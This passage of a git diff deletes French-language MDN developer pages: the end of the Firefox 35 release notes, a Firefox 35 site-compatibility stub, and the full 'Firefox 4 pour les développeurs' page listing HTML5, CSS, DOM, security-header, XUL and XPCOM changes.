- -
    -
  • La proprieté mask-type a été activée par défaut (bug 1058519).
    • -
  • La propieté filter est maintenant activée par défaut (bug 1057180).
    • -
  • La fonction @font-face est maintenant compatible avec les polices de type WOFF2 (bug 1064737).
    • -
  • La notation fonctionnelle symbol() est maintenant supportée(bug 966168).
    • -
  • L'API CSS Font Loading a été implémentée (bug 1028497).
    • -
  • En utilisant -moz-appearance avec la valeur none sur un menu de type select, le bouton déroulant est maintenant supprimé (bug 649849).
    • -
  • La propriété accessor element.style["css-property-name"] a maintenant été ajoutée pour correspondre aux autres navigateurs (bug 958887).
    • -
- -

HTML

- -
    -
  • Les obsolètes et non conformes bottommargin, leftmargin, rightmargin and topmargin attributs de l'élement <body>  ont été activés en mode  non-quirks (bug 95530).
    • -
  • Les imports HTML sont maintenant supportés (bug 877072).
    • -
- -

JavaScript

- -
    -
  • La "temporal dead zone" pour les déclarations let a été implementée.  En conformité avec les sémantiques let ES6, les situations suivantes renvoyent des erreurs. Voir aussi cet annoncement de newsgroup and bug 1001090. - -
      -
    • Redéclarer des variables existantes ou arguments utilisant let sans la même portée dans le corps de fonctions est maintenant une erreur de syntaxe.
      • -
    • Utiliser une variable déclarée en utilisant let dans le corps de fonctions avant la déclaration de cette variable est maintenant une erreur d'exécution.
      • -
    -
    • -
  • ES6 Symbols (disponible uniquement dans Nightly) a été mis à jour pour être conforme avec les récents changements de spécification : -
      -
    • String(Symbol("1")) ne renvoie maintenant une TypeError; au lieu d'un string ("Symbol(1)") (bug 1058396).
      • -
    • Les divers constructeurs TypedArray ont maintenant comme [[Prototype]] une simple fonction, notée %TypedArray%  en ES6 (mais pas directement exposé).  Chaque prototype de tableau typé hérite maintenant de %TypedArray%.prototype.  (%TypedArray% et %TypedArray%.prototype hérite eux-mêmes de Function.prototype et Object.prototype, respectivement, ainsi ce constructeur et ces instances de tableau typé ont aussi les propriétés de ces objets.) Les propriétés des fonctions de tableau typés se trouvent maintenant sur %TypedArray%.prototype et fonctionnent sur tous les tableaux typés. Voir TypedArray et bug 896116 pour plus d'information.
      • -
    -
    • -
  • Les semantiques ES6 pour les mutations de prototype utilisant les initialisateurs d'objet ont été implémentées (bug 1061853). -
      -
    • Maintenant un seul membre noté  __proto__:value peut changer le [[Prototype]] dans la syntaxe de l'initialisateur d'objet.
      • -
    • Les membres de méthode comme __proto__() {} ne réecrivent pas le [[Prototype]].
      • -
    -
    • -
- -

Interfaces/APIs/DOM

- - - -

 MathML

- -
    -
  • La fonction  dtls OpenType (via les CSS font-feature-settings sur la feuille de styles par défaut) est maintenant appliquée automatiquement aux éléments MathML lors du positionnement des scripts au-dessus (e.g. dotless i with mathematical hat).
    • -
- -

SVG

- -

Aucun changement.

- -

Audio/Video

- -

Aucun changement.

- -

Réseau & Sécurité

- - - -

Changements pour les modules et les développeurs Mozilla

- -

XUL & Modules

- -
    -
  • La méthode privée _getTabForBrowser() sur l'élement tabbrowser a été remplacée. À la place, nous avons ajouté une nouvelle méthode publique apellée getTabForBrowser. Elle retourne assez prévisiblement l'élément tab qui contient le spécifique browser.
    • -
  • Components.utils.now(), correspondant à Performance.now() a été implémenté pour les codes Chrome sans fenêtre ouverte (bug 969490).
    • -
- -

Module SDK

- -

Titres

- - - -

Détails

- -

Commits de GitHub effectués entre Firefox 34 et Firefox 35. Ceci ne comprendra pas les évolutions après la sortie officielle.

- -

Bugs corrigés entre Firefox 34 et Firefox 35. Ceci ne comprendra pas les évolutions après la sortie officielle.

- -

Voir aussi

- - - -

Anciennes versions

- -
- -
diff --git a/files/fr/mozilla/firefox/versions/35/site_compatibility/index.html b/files/fr/mozilla/firefox/versions/35/site_compatibility/index.html deleted file mode 100644 index 326b53a4b0..0000000000 --- a/files/fr/mozilla/firefox/versions/35/site_compatibility/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Compatibilité des sites avec Firefox 35 -slug: Mozilla/Firefox/Versions/35/Site_Compatibility -tags: - - Compatibilité - - Développement Web - - Firefox - - Firefox 35 - - FxSiteCompat - - Guide -translation_of: Mozilla/Firefox/Releases/35/Site_Compatibility ---- -
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/versions/4/index.html b/files/fr/mozilla/firefox/versions/4/index.html deleted file mode 100644 index 050e4cfe06..0000000000 --- a/files/fr/mozilla/firefox/versions/4/index.html +++ /dev/null @@ -1,640 +0,0 @@ ---- -title: Firefox 4 pour les développeurs -slug: Mozilla/Firefox/Versions/4 -tags: - - Firefox - - Firefox 4 -translation_of: Mozilla/Firefox/Releases/4 ---- -
- -

Firefox 4, est sorti le 22 mars 2011, améliore les performances, le support d'HTML5 et d'autres technologies du web et aussi la sécurité. Cet article fournit des informations sur cette version et sur les fonctionnalités qui sont disponibles pour les développeurs Web, les développeurs de modules complémentaires et les développeurs de la plate-forme Gecko.

- -

Fonctionnalités pour les développeurs Web

- -

Gecko utilise maintenant le parseur HTML5, qui corrige des bugs, améliore l'interopérabilité et les performances. Il permet également d'intégrer du contenu SVG et MathML directement dans le code HTML.

- -

HTML

- -
-
Rencontrez le parseur HTML5
-
Un aperçu sur ce que le parseur HTML5 représente pour vous et comment intégrer du contenu SVG et MathML dans votre code.
-
Les formulaires en HTML5
-
Un aperçu de l'amélioration de formulaires Web en HTML5. Parmi les changements on ajoute les types d'entrée dans l'élément <input>, la validation des données et d'autres modifications.
-
Sections HTML5
-
Gecko supporte à présent les nouveaux éléments HTML5 liés aux sections dans un document : <article>, <section>, <nav>, <aside>, <hgroup>, <header> et <footer>.
-
Attribut HTML5 hidden
-
Cet attribut, commun à tous les éléments, est utilisé pour cacher le contenu d'une page Web qui n'est pas encore pertinent pour l'utilisateur.
-
Autres éléments HTML5
-
Gecko supporte les nouveaux éléments HTML5 suivants : <mark>, <figure>, et <figcaption>.
-
WebSockets
-
Un guide pour utiliser la nouvelle API WebSockets pour la communication entre une application web et un serveur en temps réel. A noter que WebSockets tel qu'implémenté dans Firefox 4 n'est pas compatible avec la norme finale, et ne devrait pas être utilisé.
-
- -

Améliorations de Canvas

- -

Les modifications suivantes ont étés apportées à l'interface CanvasRenderingContext2D pour permettre à l'implémentation de <canvas> d'être en conformité avec la spécification :

- -
    -
  • La spécification d'un rayon négatif lors de l'appel d'arc() lance désormais correctement l'exception INDEX_SIZE_ERR.
    • -
  • La spécification de valeurs non finies lors de l'appel de createLinearGradient() et createRadialGradient() lance désormais NOT_SUPPORTED_ERR au lieu de SYNTAX_ERR.
    • -
  • Le réglage de miterLimit pour une valeur négative ne lance plus une exception, mais ignore plutôt les valeurs non-positives.
    • -
  • Le réglage de lineWidth pour une valeur négative ne lance plus une exception, mais ignore plutôt les valeurs non-positives.
    • -
  • La méthode putImageData() supporte désormais les paramètres optionnels dirtyX, dirtyY, dirtyWidth et dirtyHeight.
    • -
- -
-
- -

Autres changements HTML

- -
    -
  • L'élément <textarea> est maintenant redimensionnable par défaut ; pour le désactiver, vous pouvez utiliser la propriété CSS resize.
    • -
  • canvas.getContext et canvas.toDataURL ne lancent plus d'exceptions lorsqu'ils sont appelés avec des arguments non reconnus.
    • -
  • L'élément <canvas> supporte maintenant la méthode spécifique à Mozilla, mozGetAsFile(), qui permet d'obtenir un fichier basé sur l'image d'un contenu canvas. Voir HTMLCanvasElement pour les détails.
    • -
  • canvas2dcontext.lineCap et canvas2dcontext.lineJoin ne lancent plus d'exceptions lorsqu'ils sont réglés avec une valeur non reconnue.
    • -
  • canvas2dcontext.globalCompositeOperation ne lance plus d'exception lorsqu'il est réglé avec une valeur non reconnue et ne supporte plus la valeur darker, qui n'est pas un standard.
    • -
  • Le support de l'élément obsolète <spacer>, était absent de tous les autres navigateurs, a été enlevé.
    • -
  • L'élément <isindex>, qui était crée par document.createElement(), est maintenant crée comme un simple élément sans propriétés ou méthodes.
    • -
  • Gecko supporte maintenant l'appel click() sur l'élément <input> pour ouvrir le sélecteur de fichiers. Voir l'exemple dans l'article Using files from web applications.
    • -
  • L'élément <input> supporte un nouvel attribut mozactionhint, qui permet de spécifier l'étiquette de la touche Entrée sur un clavier virtuel.
    • -
  • L'élément <script> à l'intérieur des éléments <iframe>, <noembed> et <noframes> sont maintenant exécutés, contrairement aux versions précédentes de Firefox. Ceci est conforme à la spécification et correspond au comportement des autres navigateurs.
    • -
- -

CSS

- -
-
Transitions CSS
-
Le support des transitions CSS est disponible dans Firefox 4.
-
Les valeurs calculées en CSS
-
Le support de -moz-calc a été ajouté. Cela permet de spécifier des valeurs de <length> comme des expressions mathématiques.
-
Groupement de sélecteurs
-
Le support de :-moz-any pour grouper les sélecteurs et factoriser des combinateurs.
-
Support subrectangle pour background-image
-
La propriété -moz-image-rect permet d'utiliser des subrectangles en tant que background-image.
-
Propriétés CSS tactile
-
Le support des propriétés tactiles a été ajouté. Plus de détails plus tard.
-
Utilisation arbitraires d'élements comme fond
-
Vou pouvez utiliser la fonction CSS -moz-element et la fonction DOM document.mozSetImageElement() pour une utilisation arbitraire des éléments HTML comme fond.
-
Sélecteur :visited et confidentialité
-
Des modifications ont étés apportées sur les informations qui peuvent être obtenues sur le style des liens visités en utilisant les sélecteurs CSS. Certaines applications Web peuvent être affectées.
-
- -

Nouvelles propriétés CSS

- - - - - - - - - - - - - - - - - - - - -
PropriétéDescription
-moz-font-feature-settingsPermet de personnaliser les fonctionnalités avancées des polices OpenType.
-moz-tab-sizeSpécifie la largeur d'un espace de tabulation (U+0009) lors du rendu du texte.
resizePermet de modifier les dimensions d'un élément.
- -
-
- -

Nouvelles pseudo-classes CSS

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Pseudo-classDescription
:-moz-handler-crashedUtilisé pour le style d'un élément dont le plugin a planté.
:-moz-placeholderAppliquée à l'espace texte réservé dans les champs des formulaires.
:-moz-submit-invalidAppliquée au bouton d'envoi des formulaires quand un ou plusieurs des champs ne sont pas valides.
:-moz-window-inactiveAppliquée aux éléments d'une fenêtre inactive.
:invalidAutomatiquement appliquée aux champs <input> dont le contenu est invalide.
:optionalAutomatiquement appliquée aux champs <input> qui ne spécifient pas l'attribut required.
:requiredAutomatiquement appliquée aux champs <input> qui spécifient l'attribut required.
:validAutomatiquement appliquée aux champs <input> dont le contenu a été validé avec succès.
- -

Nouveaux pseudo-selectors CSS

- - - - - - - - - - - - -
Pseudo-selectorDescription
:-moz-focusringPermet de spécifier l'apparence d'un élément lorsque Gecko estime que l'on doit se fixer dessus.
- -

Nouvelles fonctions CSS

- - - - - - - - - - - - - - - - - - - - - - - - -
FonctionDescription
:-moz-anyPermet de grouper les sélecteurs et de factoriser les combinateurs.
-moz-calcPermet de spécifier des valeurs de <length> comme des expressions mathématiques.
-moz-elementPermet d'utiliser un élément arbritaire de fond pour background-image and background.
-moz-image-rectPermet d'utiliser un subrectangle d'une image comme background-image or background.
- -

Propriétés CSS renommées

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Ancien nomNouveau nomNotes
-moz-background-sizebackground-sizeLe nom -moz-background-size n'est plus supporté.
-moz-border-radiusborder-radiusL'ancien nom est encore pris en charge pour une durée limitée, le temps de mettre vos sites à jour. Le changement du rendu a été fait pour correspondre à la dernière version de la spécification.
-moz-box-shadowbox-shadow
- -

Divers changements CSS

- -
    -
  • La propriété text-shadow plafonne désormais son rayon de flou à 300px, pour des raisons de bon sens et de performances.
    • -
  • La propriété overflow ne s'applique plus au groupe d'éléments de tableaux (<thead>, <tbody>, and <tfoot>).
    • -
  • La propriété -moz-appearance supporte désormais la valeur -moz-win-borderless-glass, qui s'applique à un élément Aero sans bordure.
    • -
  • La fonctionnalité de média -moz-device-pixel-ratio a été ajoutée, permettant l'utilisation de pixels de l'appareil par ratio de pixels CSS qui sera utilisé dans les Media Queries.
    • -
  • La manipulation des unités CSS dans Gecko a été révisé pour mieux correspondre à d'autres navigateurs, et plus précisément de traduire dans des longueurs absolues le nombre de pixels à l'écran basé sur le dispositif de la DPI.
    • -
- -

Graphisme et vidéo

- -
-
-
WebGL
-
La norme WebGL (encore en développement) est maintenant supportée par Firefox.
-
Optimisation des performances graphique
-
Trucs et astuces pour profiter le maximum des performances graphiques et vidéo dans Firefox 4.
-
Support de WebM
-
Le nouveau format vidéo ouvert WebM est supporté par Gecko 2.0.
-
Animation SVG avec SMIL
-
Les animations SVG avec SMIL sont désomais supportées.
-
Utilisation de SVG comme image ou arrière-plan CSS
-
Vous pouvez maintenant utilisez SVG avec l'élément <img>, ainsi qu'avec CSS background-image.
-
Attribut Media buffered
-
L'attribut buffered sur les éléments <video> and <audio> est maintenant supporté, vous permettant de déterminer quel fichier multimédia a été tamponné. L'interface DOM TimeRanges a été mise en place pour ce support.
-
Attribut Media preload
-
L'attribut preload de la spécification HTML5 a été implémenté, remplaçant l'attribut autobuffer précédemment mis en place (et qui n'est plus pris en charge). Cela affecte les éléments <video> et <audio> ainsi que l'interface nsIDOMHTMLMediaElement.
-
Amélioration du positionnement du texte SVG
-
Vous pouvez maintenant spécifier des listes des valeurs pour les propriétés x, y, dx, and dy sur les éléments SVG <text> et <tspan>. Cela vous permet de contrôler le positionnement de chaque caractère d'une chaîne, individuellement.
-
- -

DOM

- -
-
Tableaux JavaScript typés
-
Ajout du support pour les tableaux JavaScript typés, cela vous permet de manipuler des tampons contenant des données brutes en utilisant des types de données natives. Plusieurs API utilisent ça, y compris l'API File, WebGL et WebSockets.
-
Obtention des limites des rectangles limites
-
L'objet Range a désormais les méthodes range.getClientRects() et range.getBoundingClientRect().
-
Capture des évènements de la souris sur des éléments quelconques
-
Ajout du support des APIs setCapture() et releaseCapture() originaires d'Internet Explorer. Voir bug 503943.
-
Manipulation de l'historique du navigateur
-
L'objet de l'historique déjà existant et disponible via l'objet window.history, supporte maintenant les nouvelles méthodes HTML5 pushState() et replaceState().
-
Animations utilisant MozBeforePaint
-
Un nouvel évènement a été ajouté, qui, avec l'aide de la méthode window.mozRequestAnimationFrame() et de la propriété window.mozAnimationStartTime, offre un moyen de créer des animations qui sont synchronisées avec les autres.
-
Evènements touch et multi-touch
-
Ajout du support des évènements touch et multi-touch.
-
- -

Changement des interfaces DOM d'éléments HTML

- -

Plusieurs éléments HTML ont vu leur interface DOM modifier, conformément à la spécification HTML5.

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Interface dans Firefox 3.6Interface dans Firefox 4Elements HTML
HTMLSpanElementHTMLElement<abbr>, <acronym>, <address>, <b>, <bdo>, <big>, <blink>, <center>, <cite>, <code>, <dd>, <dfn>, <dt>, <em>, <i>, <kbd>, <listing>, <nobr>, <plaintext>, <s>, <samp>, <small>, <strike>, <strong>, <sub>, <sup>, , <tt>, <u>, <var>, <xmp>
HTMLDivElementHTMLElement<noembed>, <noframes>, <noscript>
HTMLWBRElementHTMLElement<wbr>
- -
-
- -

Divers changements DOM

- -
    -
  • L'enveloppement d'un élément <textarea> peut maintenant être commandé via l'attribut DOM wrap. bug 41464
    • -
  • Les éléments <script> crées avec document.createElement() et insérés dans un document, se comportent désormais conformément à la spécification HTML5. Les scripts avec l'attribut src s'exécute dès que possible (sasn maintenir la commande) et les scripts sans l'attribut src s'exécute de manière simultanée. Pour faire des scripts d'insertion de scripts qui ont l'attribut src qui exécute l'ensemble dans l'ordre d'insertion, pour eux .async=false.
    • -
  • Les objets DOM file proposent désormais la propriété url.
    • -
  • Support de FormData pour XMLHttpRequest.
    • -
  • La propriété element.isContentEditable a été implémentée.
    • -
  • La propriété document.currentScript vous permet de déterminer quel script de l'élément <script> est en cours d'exécution. les nouveaux évènements element.onbeforescriptexecute et element.onafterscriptexecute sont déclenchés avant et après l'éxécution d'un élément script.
    • -
  • Ajout de la propriété mozSourceNode à l'objet DragTransfer.
    • -
  • Ajout de la méthode selection.modify() à l'objet Selection, ce qui vous permet de facilement modifier la sélection de texte courant ou la position du curseur dans une fenêtre de navigateur.
    • -
  • Le support de l'objet window.directories et de la fonctionnalité directories pour window.open, qui ne sont plus supportés dans les autres navigateurs, ont été enlevés. Utiliser personalbar à la place. bug 474058
    • -
  • La propriété event.mozInputSource a été ajoutée à l'interface utilisateur des évènements DOM, cette propriété non-standard vous permet de déterminer le type de l'appareil qui a généré un évènement.
    • -
  • L'évènement document.onreadystatechange a été implémenté.
    • -
  • La méthode document.createElement n'accepte plus < et > autour du nom de balise en mode quirks.
    • -
  • Les méthodes element.setCapture() et document.releaseCapture() ont été ajoutées, permettant à des éléments de poursuivre des évènements de la souris, même lorsqu'elle est en dehors de leur zone de suivi normal après que l'évènement mousedown soit survenu.
    • -
  • La propriété window.mozPaintCount a été ajoutée, elle vous permet de déterminer le nombre de fois q'un document a été peint. Cela est particulièrement utile lors des tests de performance de votre application web.
    • -
  • Le signe de la langue a été supprimé de window.navigator.appVersion et window.navigator.userAgent. Utilisez window.navigator.language ou l'en-tête Accept-Language à la place. bug 572656
    • -
  • L'objet XMLHttpRequest expose maintenant la réponse comme un tableau JavaScript typé et aussi comme une chaîne, en utilisant la propriété, spécifique de Gecko, mozResponseArrayBuffer.
    • -
  • Mouse events inclut maintenant une propriété mozPressure indiquant le niveau de pression supporté sur les périphériques d'entrée sensibles à la pression.
    • -
  • Les méthodes window.URL.createObjectURL() et window.URL.revokeObjectURL() vous permettent de créer des URLs d'objet qui renvoient à des fichiers locaux.
    • -
  • La méthode DOMImplementation.createHTMLDocument() vous permet de créer un nouveau document HTML.
    • -
  • Node.mozMatchesSelector() retourne maintenant l'exception SYNTAX_ERRsi la chaîne de sélection spécifiée est invalide, au lieu de retourner false.
    • -
  • Vous pouvez maintenant définir les valeurs des propriétés d'un élement SVG en utilisant une syntaxe abrégée même avec CSS. Par exemple : element.style.fill = 'lime'. Voir element.style pour plus de détails.
    • -
  • Le document racine a maintenant un attribut privatebrowsingmode qui décrit l'état du mode de navigation privée, en indiquant notamment si la session de navigation privée est temporaire ou permanente.
    • -
  • Le second paramètre de la méthode window.getComputedStyle() est maintenant optionnel, car elle l'est dans tous les autres navigateurs.
    • -
  • L'objet DOM StorageEvent est maintenant conforme à la dernière version de la spécification.
    • -
  • Le délais minimum autorisé pour la méthode window.setTimeout() est maintenant la préférence dom.min_timeout_value.
    • -
  • L'évènement MozAfterPaint n'est plus envoyé par défaut, en raison d'un potentiel problème de sécurité. Il peut être réactivé en définissant une préférence.
    • -
- -

Securité

- -
-
Content Security Policy (CSP)
-
Content Security Policy (CSP) est une proposition de Mozilla, conçu pour aider les concepteurs de sites Web et les administrateurs de serveur en spécifiant comment le contenu sur leurs sites Web agit. L'objectif est d'aider à détecter et à atténuer les attaques incluant le cross-site scripting et des attaques par injection de données.
-
HTTP Strict Transport Security
-
HTTP Strict Transport Security est un dispositif de sécurité qui permet à un site web d'indiquer au navigateur d'utiliser une connexion sécurisée (HTTPS) à la place du protocole HTTP.
-
L'en-tête de réponse X-FRAME-OPTIONS
-
L'en-tête de réponse X-FRAME-OPTIONS HTTP introduite dans Internet Explorer 8 est désormais supportée par Firefox. Cela permet aux sites d'indiquer si leurs pages peuvent être utilisées dans des frames ou si l'utilisation de la page doit être restreint.
-
Changement de la chaîne de l'agent utilisateur
-
C'est un moyen de réduire la quantité et l'entropie des données envoyées dans les requêts HTPP (voir bug 572650), le niveau de cryptage et le signe de la langue ont été enlevés de la chaîne de l'agent utilisateur.
-
- -

JavaScript

- -

Pour un aperçu des changements effectués dans JavaScript 1.8.5, voir New in JavaScript 1.8.5. Dans Firefox 4, JavaScript a un plus grand respect de la norme ECMAScript 5.

- -

Outils pour les développeurs

- -
-
Utilisation de la Console Web
-
La Console Web est un outil qui aide le débogage.
-
- -
-
-Gecko 2.0 note -
(Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1)
-
- -

A partir de Firefox 4, la Console d'erreurs est désactivée par défaut. Vous pouvez la ré-activer en modifiant la préférence devtools.errorconsole.enabled à true et en redémarrant le navigateur.

-
- -

Changements pour les développeurs de Mozilla et de modules complémentaires

- -

Pour des conseils utiles sur la mise à jour des extensions existantes pour Firefox 4, voir Updating extensions for Firefox 4. Il y a plusieurs changements importants qui cassent la compatibilité avec les add-ons, donc n'oubliez pas de lire cet article.

- -

Si vous développez des thèmes, vous devez lire Theme changes in Firefox 4 afin de connaître certains changements importants.

- -

Modules de code JavaScript

- -
-
Services.jsm
-
Le module de code Services.jsm fournit des accesseurs qui font qu'il est facile d'obtenir des références sur les services couramment utilisés, tels que le service de préférences ou le médiateur fenêtre.
-
API JS-ctypes
-
L'API JS-ctypes permet d'appeler une bibliothèque de fonctions étrangère C-compatible sans utiliser XPCOM.
-
Gestionnaire de modules complémentaires
-
Le nouveau gestionnaire de modules complémentaires fournit des informations sur les modules, permet la modifications des options, l'installation et la suppression des modules.
-
PopupNotifications.jsm
-
Le nouveau module des notifications popup facilite la présentation des notifications non-modales. Vous pouvez voir comment utiliser cette API dans Using popup notifications.
-
Chargement des modules de code à partir des URLs chrome:
-
Vous pouvez maintenant charger des modules de code à partir d'URLs chrome:, même à l'intérieur de fichiers JAR.
-
DownloadLastDir.jsm
-
Le module de code DownloadLastDir.jsm fournit la variable gDownloadLastDir qui contient une chaîne qui permet de connaître le chemin du répertoire dans lequel le dernier téléchargement s'est produit. Ce module gère les questions liées à la navigation privée.
-
Mesurer les performances en utilisant le module de code PerfMeasurement.jsm code module
-
Le module de code PerfMeasurement.jsm propose une API qui mesure les performances au niveau du CPU dans du code JavaScript.
-
- -

Divers changements dans les modules de code

- - - - - -

Changements DOM

- -
-
ChromeWorker
-
Un nouveau type de travailleur pour du code privilégié, ce qui permet l'utilisation de choses comme js-ctypes à partir des travailleurs dans les extensions et le code d'une application.
-
Evènements tactile
-
Ajout du support de l'évènement tactile (non-standard), cela permet de pouvoir suivre plusieurs doigts qui se déplacent en même temps sur un écran tactile.
-
- -

Autres changements DOM

- -
    -
  • La nouvelle notification "document-element-inserted" est envoyée quand un élément racine d'un document est crée, mais tous les scripts sont exécutés avant.
    • -
- -
-
- -

XUL

- -

Changements pour l'élément tabbrowser

- -

Plusieurs changements ont été apportés à l'élément <xul:tabbrowser> ce qui impacte les extensions qui interagissent avec les onglets. En plus du support de app tabs, ces changements on aussi modifiés la barre d'onglet en une barre d'outils standard, ce qui permet à l'utilisateur de faire glisser les boutons dans la barre d'outils.

- -
    -
  • Les évènements TabClose, TabSelect et TabOpen non plus de bulle jusqu'à l'élément <xul:tabbrowser> (gBrowser). Les récepteurs d'évènements pour ces évènements doivent être ajoutés à gBrowser.tabContainer plutôt qu'à gBrowser directement.
    • -
  • Le menu contextuel d'un onglet n'est plus un enfant anonyme de <xul:tabbrowser>. Il peut donc être surposé directement avec overlays XUL. On peut également y accéder directement depuis JavaScript via gBrowser.tabContextMenu. Voir cet article pour plus de détails.
    • -
  • La nouvelle propriété visibleTabs a été ajoutée pour vous permettre de faire un tableau des onglets visibles, cela vous permet de déterminer quels onglets seront visibles dans l'ensemble de l'onglet courant. Par exemple, par Firefox Panorama l'utilise.
    • -
  • La nouvelle méthode showOnlyTheseTabs a été ajoutée, elle est utilisée Firefox Panorama.
    • -
  • Ajout de la nouvelle méthode showOnlyTheseTabs, qui est utilisée par Firefox Panorama.
    • -
  • Ajout de la nouvelle méthode getIcon, qui vous permet d'obtenir le favicon d'un onglet sans avoir besoin de le remonter de l'élément <xul:browser>.
    • -
  • Ajout de la nouvelle propriété tabbrowser.tabs, qui vous permet d'obtenir facilement une liste des onglets dans l'élement <xul:tabbrowser>.
    • -
  • Les nouvelles méthodes pinTab et unpinTab vous permettent d'épingler et de relâcher des onglets (pour faire la différence entre les onglets normaux et ceux utilisés régulièrement).
    • -
  • Ajout de la méthode getTabModalPromptBox et de l'attribut tabmodalPromptShowing à <xul:tabbrowser> pour le support des alertes majeures des onglets.
    • -
- -

Changements pour les popups

- -
    -
  • L'élément <xul:popup> n'est plus supporté, vous devez utilisez <xul:menupopup> à la place. (Si vous continuez à utiliser popup, vous allez rencontrer des problèmes, car l'élément n'a plus de signification particulière. par exemple, <xul:menuseparator> peut apparaître transparent lorsqu'il est utilisé avec <xul:popup>.)
    • -
  • L'élément XUL <xul:menupopup> a maintenant une propriété triggerNode, qui indique le noeud sur lequel l'évènement s'est produit et qui a causé l'ouverture de la popup. Cela a aussi nécessité l'ajout d'un paramètre de l'événement déclencheur de la méthode openPopup. En plus de ça, la propriété anchorNode a été ajoutée, elle renvoie l'ancre spécifiée lorsque la popup a été créé.
    • -
  • L'élément <xul:panel> propose maintenant les attributs panel.fade et panel.flip, qui sont utilisés pour configurer le comportement de la nouvelle "flèche" des panneaux de notification de style.
    • -
- -

Suppression du support à distance de XUL

- -

Le support à distance de XUL n'est plus supporté, cela affecte les documents XUL qui étaient servis par HTTP, en outre, vous ne pouvez plus charger des documents XUL en utilisant l'URL file:// sauf en créant une préférence dom.allow_XUL_XBL_for_file avec la valeur true. Cependant, il y a une fonctionnalité de liste blanche qui peut être utilisée pour permettre à des domaines spécifiques de charger XUL à distance. L'extension Remote XUL Manager vous permet de gérer cette liste blanche.

- -

Divers changements XUL

- -
    -
  • L'attribut readonly fonctionne désormais correctement pour les champs XBL.
    • -
  • L'élément <xul:resizer> vous permet désormais d'utiliser l'attribut element pour spécifier l'élément à redimensionner, au lieu de redimensionner la fenêtre.
    • -
  • L'élément <xul:resizer> a maintenant un attribut type qui vous permet de spécifier que le redimensionnement est pour la fenêtre au lieu d'un élément, pour également empêcher de redimensionner deux fois une fenêtre en cours de préparation.
    • -
  • L'attribut "active" n'est plus accessible sur les fenêtres XUL actives. A la place, vous pouvez utilisez la nouvelle pseudo-classe :-moz-window-inactive afin d'attribuer différents styles aux fenêtres en arrière-plan.
    • -
  • L'attribut emptytext est désormais obsolète, vous devez utiliez placeholder à la place.
    • -
  • L'élément <xul:window> propose maintenant un attribut accelerated ; quand il est vrai, le gestionnaire de la couche matérielle est autorisé à accélérer la fenêtre.
    • -
  • L'élément <xul:stack> supporte maintenant les attributs bottom et right.
    • -
  • Les évènements sont maintenant tirés lors de la personnalisation de <xul:toolbox>, vous permettant de détecter les changements sur les barres d'outils.
    • -
  • L'attribut alternatingbackground pour l'élément <xul:tree>n'est plus supporté, à la place, vous pouvez utiliser la pseudo-classe :-moz-tree-row.
    • -
  • Le dépassement du bouton de la barre d'outils des Favoris avec anonid chevronPopup n'est plus anonyme, il a l'ID "PlacesChevron".
    • -
  • L'élément <xul:tabs> a maintenant la propriété tabbox, en remplacement de l'ancienne propriété _tabbox, qui a été abandonnée (et n'a jamais été documentée).
    • -
  • Les éléments XUL <xul:window> ont maintenant l'attribut drawintitlebar, si il a la valeur true, la zone de contenu de la fenêtre qui comprend la barre de titre, permet de dessiner dans la barre de titre.
    • -
  • De nouveaux évènements sont disponibles : TabPinned et TabUnpinned, vous permettant de détecter quand des onglets sont épinglés ou relâchés.
    • -
  • le nouvel évènement TabAttrModified event est envoyé lorsque l'un des attributs (label, crop, busy, image, ou selected) d'un onglet change.
    • -
  • Les éléments <xul:tab> ont maintenant l'attribut pinned, qui vous permet de savoir si un onglet est actuellement épinglé.
    • -
  • La classe setDirectionIndicator sur les éléments <xul:tree> n'a rien fait depuis un certain temps et maintenant elle n'est plus du tout utilisée.
    • -
  • L'élément <xul:window> possède maintenant l'attribut chromemargin qui vous permet de définir la marge entre le chrome et le contenu de chaque côté d'une fenêtre.
    • -
  • L'élément <xul:window> possède maintenant l'attribut disablechrome, il est utilisé pour cacher la plupart du chrome dans une fenêtre, comme pour about:addons.
    • -
  • L'élément <xul:window> possède maintenant l'attribut disablefastfind, qui vous permet de désactiver la barre de recherche dans une fenêtre lorsque le contenu ne le supporte pas. Il est par exemple utilisé par le panneau de gestion des modules complémentaires.
    • -
  • Les barres d'outils peuvent maintenant être externe aux boîtes à outils, tout en restant considérée comme un membre de <xul:toolbox>, en configurant la propriété toolboxid de <xul:toolbar>. De plus, l'élément <xul:toolbox> a maintenant une propriété externalToolbars, qui liste toutes les barres d'outils qui sont considérées comme des membres de la boîte à outils.
    • -
  • Ajout du support pour la connexion de templates XUL pour permettre un débogage .
    • -
- -

Changements dans l'UI affectant les développeurs

- -
-
La barre d'add-on
-
La barre d'état a été supprimée en faveur de la nouvelle barre d'add-on. Vous devrez mettre à jour votre extension l'utiliser cette option si vous aviez ajouté l'UI de la barre d'état avant.
-
Cacher le chrome du navigateur
-
Vous pouvez désormais cacher le chrome du navigateur quand il est souhaitable de le faire, par exemple, about:addons le fait.
-
- -

Storage

- -

Divers changement dans l'API Storage

- - - -

XPCOM

- -

En plus des changements spécifiques référencés ci-dessous, il est important de noter qu'il n'y a plus aucune interfaces gelées. Elles sont toutes dégelées maintenant, indépendamment de ce que peut indiquer la documentation. Nous mettrons à jour la documentation au fil du temps.

- -
-
Changements d'XPCOM dans Gecko 2.0
-
Détails sur les modifications d'XPCOM qui impactent la compatibilité dans Firefox 4.
-
Components.utils.getGlobalForObject()
-
Cette nouvelle méthode retourne l'objet global avec lequel un objet est associé, ce qui remplace un cas d'utilisation commun de __parent__ qui est désormais retiré.
-
- -

Places

- -
    -
  • Les résultats de la requête peuvent maintenant être observés par plusieurs observateurs, et les requêtes peuvent être exécutées de manière asynchrone. Cela signifie qu'il y a eu des changements dans les interfaces nsINavHistoryResult, nsINavHistoryQueryOptions et nsINavHistoryContainerResultNode. De plus, l'interface nsINavHistoryResultViewer a été renommée en nsINavHistoryResultObserver.
    • -
  • De nouvelles notifications ont été ajoutées pour permettre au navigateur de suivre la procédure d'arrêt du service Places de manière plus fiable. Parmi celles-ci, la plupart sont pour un usage interne uniquement, mais la notification places-connection-closed est disponible pour savoir quand le service Places a terminé sont processus d'arrêt.
    • -
  • Le paramètre de sortie de la taille d'un tableau sur plusieurs méthodes Places est désormais optionnel.
    • -
